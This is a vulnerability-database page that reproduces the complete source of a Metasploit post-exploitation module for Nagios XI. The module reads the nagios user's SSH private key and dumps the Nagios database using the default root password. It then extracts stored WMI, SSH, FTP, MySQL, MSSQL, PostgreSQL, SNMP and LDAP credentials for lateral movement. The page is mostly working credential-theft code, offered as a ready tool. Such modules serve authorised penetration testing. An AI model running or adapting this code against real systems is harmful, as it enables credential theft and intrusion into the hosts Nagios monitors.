Lucene search
K

Nagios XI Enumeration

🗓️ 27 Jul 2019 17:22:58Reported by Cale SmithType 
metasploit
 metasploit
🔗 www.rapid7.com👁 198 Views

NagiosXI may store host credentials, module extracts credentials for lateral movement

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Linux::System
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Nagios XI Enumeration',
          'Description' => %q{
            NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,
            creating opportunities for lateral movement.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Cale Smith', # @0xC413
          ],
          'DisclosureDate' => '2018-04-17',
          'Platform' => 'linux',
          'SessionTypes' => ['shell', 'meterpreter']
        }
      )
      )
    register_options([
      OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])
    ])
  end

  # save found creds in the MSF DB for easy use
  # , login)
  def report_obj(cred, login)
    return if cred.nil? || login.nil?

    credential_data = {
      origin_type: :session,
      post_reference_name: fullname,
      session_id: session_db_id,
      workspace_id: myworkspace_id
    }.merge(cred)
    credential_core = create_credential(credential_data)

    login_data = {
      core: credential_core,
      workspace_id: myworkspace_id
    }.merge(login)

    create_credential_login(login_data)
  end

  # parse out domain realm for windows services
  def parse_realm(username)
    userealm = username.split('/')

    if userealm.count > 1
      realm = userealm[0]
      username = userealm[1]

      credential_data = {
        realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
        realm_value: realm,
        username: username
      }
    else
      credential_data = {
        username: username
      }

    end

    return credential_data
  end

  def run
    @peer = "#{session.session_host}:#{session.session_port}"

    @creds = []
    @ssh_keys = []

    # get nagios SSH private key
    id_rsa_path = '/home/nagios/.ssh/id_rsa'
    if file?(id_rsa_path)
      print_good('Attempting to grab Nagios SSH key')
      ssh_key = read_file(id_rsa_path)
      ssh_key_loot = store_loot(
        'nagios_ssh_priv_key',
        'text/plain',
        session,
        ssh_key,
        nil
      )
      print_status("Nagios SSH key stored in #{ssh_key_loot}")
    else
      print_status('No SSH key found')
    end

    print_status('Attempting to dump Nagios DB')
    db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}"

    sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ")
    sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts |
    sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id )
    sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id )
    sql_query << %(WHERE nagios_services.check_command_object_id!=89 )
    sql_query << %(ORDER BY nagios_services.check_command_object_id )
    sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;")

    out = cmd_exec(sql_query)
    if out.match(/error/i)
      print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}")
      return
    else
      db_dump = read_file(db_dump_file)
      print_good('Nagios DB dump successful')
      # store raw db results, there is likely good stuff in here that we don't parse out
      db_loot = store_loot(
        'nagiosxi_raw_db_dump',
        'text/plain',
        session,
        db_dump,
        nil
      )
      print_status("Raw Nagios DB dump #{db_loot}")
      print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.")
    end

    CSV.parse(db_dump) do |row|
      case row[0]
      when '110' # WMI
        host = row[1]
        creds = row[2].split('!')
        username = creds[0].match(/'(.*?)'/)[1]
        password = creds[1].match(/'(.*?)'/)[1]

        user_credential_data = parse_realm(username)

        credential_data = {
          private_data: password,
          private_type: :password
        }.merge(user_credential_data)

        login_data = {
          address: host,
          port: 135,
          service_name: 'WMI',
          protocol: 'tcp'
        }

      when '59' # SSH
        host = row[1]

        credential_data = {
          username: 'nagios',
          private_data: ssh_key,
          private_type: :ssh_key
        }

        login_data = {
          address: host,
          port: 22,
          service_name: 'SSH',
          protocol: 'tcp'
        }

      when '25' # FTP
        host = row[1]
        creds = row[2].split('!')
        username = creds[0]
        password = creds[1]

        credential_data = {
          username: username,
          private_data: password,
          private_type: :password
        }

        login_data = {
          address: host,
          port: 21,
          service_name: 'FTP',
          protocol: 'tcp'
        }

      when '67' # MYSQL
        host = row[1]
        username = row[2].match(/--username=(.*?)\s/)[1]
        password = row[2].match(/--password=%22(.*?)%22/)[1]

        credential_data = {
          username: username,
          private_data: password,
          private_type: :password
        }

        login_data = {
          address: host,
          port: 3306,
          service_name: 'MySQL',
          protocol: 'tcp'
        }

      when '66' # MSSQL
        host = row[1]
        username = row[2].match(/-U '(.*?)'/)[1]
        password = row[2].match(/-P '(.*?)'/)[1]

        user_credential_data = parse_realm(username)
        credential_data = {
          private_data: password,
          private_type: :password
        }.merge(user_credential_data)

        login_data = {
          address: host,
          port: 1433,
          service_name: 'MSSQL',
          protocol: 'tcp'
        }

      when '76' # POSTGRES
        host = row[1]
        username = row[2].match(/--dbuser=(.*?)\s/)[1]
        password = row[2].match(/--dbpass=%22(.*?)%22/)[1]

        credential_data = {
          username: username,
          private_data: password,
          private_type: :password
        }

        login_data = {
          address: host,
          port: 5432,
          service_name: 'PostgreSQL',
          protocol: 'tcp'
        }

      when '85' # SNMP
        host = row[1]
        creds = row[2].split('!')
        password = ' '
        username = creds[0]
        port = 161

        credential_data = {
          username: username,
          private_data: password,
          private_type: :password
        }

        login_data = {
          address: host,
          port: 161,
          service_name: 'SNMP',
          protocol: 'udp'
        }

      when '88' # LDAP
        host = row[1]
        username = row[2].match(/-D %22(.*?)%22/)[1]
        password = row[2].match(/-P %22(.*?)%22/)[1]

        credential_data = {
          username: username,
          private_data: password,
          private_type: :password
        }

        login_data = {
          address: host,
          port: 389,
          service_name: 'LDAP',
          protocol: 'tcp'
        }
      else
        # base case
      end
      unless credential_data.nil? || login_data.nil?
        report_obj(credential_data, login_data)
      end
    end

    print_status("Run 'creds' to see credentials loaded into the MSF DB")

    # cleanup db dump
    register_file_for_cleanup(db_dump_file)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.1Low risk
Vulners AI Score0.1
198